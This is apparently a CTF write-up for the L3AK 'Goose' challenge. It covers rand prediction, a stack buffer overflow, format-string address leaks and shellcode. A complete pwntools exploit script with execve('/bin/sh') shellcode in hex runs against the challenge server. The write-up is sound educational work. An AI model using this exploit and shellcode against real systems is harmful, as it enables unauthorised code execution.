Post

Goose

Summary

This binary is a back-to-basics problem featuring the following:

  • predicting rand
  • buffer overflow
  • leaking ASLR via format strings
  • shellcode

Unfortunately, I thought it revolved leaking libc, and dove down a deep rabbit hole. Don’t forget to checksec like me.

I am getting better with gdb.attach and using it to verify pieces of the attack. I also used pwntools to generate shellcode using shellcraft, something I’ve never done before. In the past I’ve always just copied it from elsewhere.

Predicting rand

To get futher in the binary, we need to correctly guess the number of honks.

Through reversing, we can see it’s running something like

1
srand(time(0))

Which means we can predict the number of honks by running it ourselves:

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
  srand(time(0));
  int num = rand() % 91 + 10;
  printf("%d\n", num);
  return 0;
}

Buffer overflow

In highscore, which is called when we successfully predict rand, there is a buffer overflow at the end when it asks for the final message. We could use this to return to anywhere, but we have ASLR:

1
2
3
4
5
6
7
8
9
[*] '/home/ctf/ctf/2025-l3ak/goose/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        PIE enabled
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

Luckily, the stack is executable, which we can use to stage shellcode if we can leak a pointer.

Don’t be like me and immediately assume it’s a ret2libc. Granted, they did give the Dockerfile, which I used to extract the libc.so.6. I didn’t need it, but it was there.

The offset can be found in pwndbg:

1
2
3
4
5
6
7
8
9
pwndbg ./chall
disass highscore

   0x00000000000013bd <+256>:   lea    rax,[rbp-0x170]
   0x00000000000013c4 <+263>:   mov    edx,0x400
   0x00000000000013c9 <+268>:   mov    rsi,rax
   0x00000000000013cc <+271>:   mov    edi,0x0
   0x00000000000013d1 <+276>:   mov    eax,0x0
   0x00000000000013d6 <+281>:   call   0x1060 <read@plt>

Therefore, we have and offset of 0x178 and 0x400 bytes to work with for our shellcode.

Leaking ASLR

Within highscore, the program asks for the user’s name a second time. It passes the name through sprintf then prints the formatted string directly into printf, causing a format string vulnerability.

We can use this to leak two key values: rbp, a valid stack address, and the return address, which would shoot somewhere into main, allowing us to determine the base address of the whole binary.

With a lot of guess-and-check, I was able to determine that these values can be found with %52$p and %53$p.

Shellcode

pwntools provides a way to generate shellcode for many architectures and for many attacks.

1
pwn shellcraft -l

In my case, I needed a standard x64 linux shell:

1
2
$ pwn shellcraft amd64.linux.sh
6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3

from pwn import *
import subprocess

exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.39.so")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
    else:
        r = remote("34.45.81.67", 16004)

    return r

# nopsled just in case
nops = b"\x90" * 0x20
shellcode = bytes.fromhex("6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05")

def main():
    r = conn()

    # run local rand() as soon as we connect
    proc = subprocess.run("./honk", shell=True, capture_output=True, text=True)
    honks = int(proc.stdout)
    # gdb.attach(r, "b highscore")
    
    r.sendline(b"bob") # this input doesn't matter
    r.sendline(f"{honks}".encode()) # win and go to highscore

    # leak base address and stack address
    r.sendline(b"%52$p.%53$p")
    r.recvuntil(b"wow")
    line = r.recvuntil(b"world?").strip().split()
    addresses = line[0].split(b".")
    stack_addr = int(addresses[0], 16)
    main_addr = int(addresses[1], 16) - 143

    exe.address = main_addr - exe.sym["main"]
    offset = 0x170+8
    payload = flat({
        offset: [
            stack_addr+16, # add 16 to hop around the return address and into nopsled
            nops,
            shellcode
        ]
    })
    r.sendline(payload)
    r.interactive()


if __name__ == "__main__":
    main()

Flag

1
2
$ cat /flag.txt
L3AK{H0nk_m3_t0_th3_3nd_0f_l0v3}
This post is licensed under CC BY 4.0 by the author.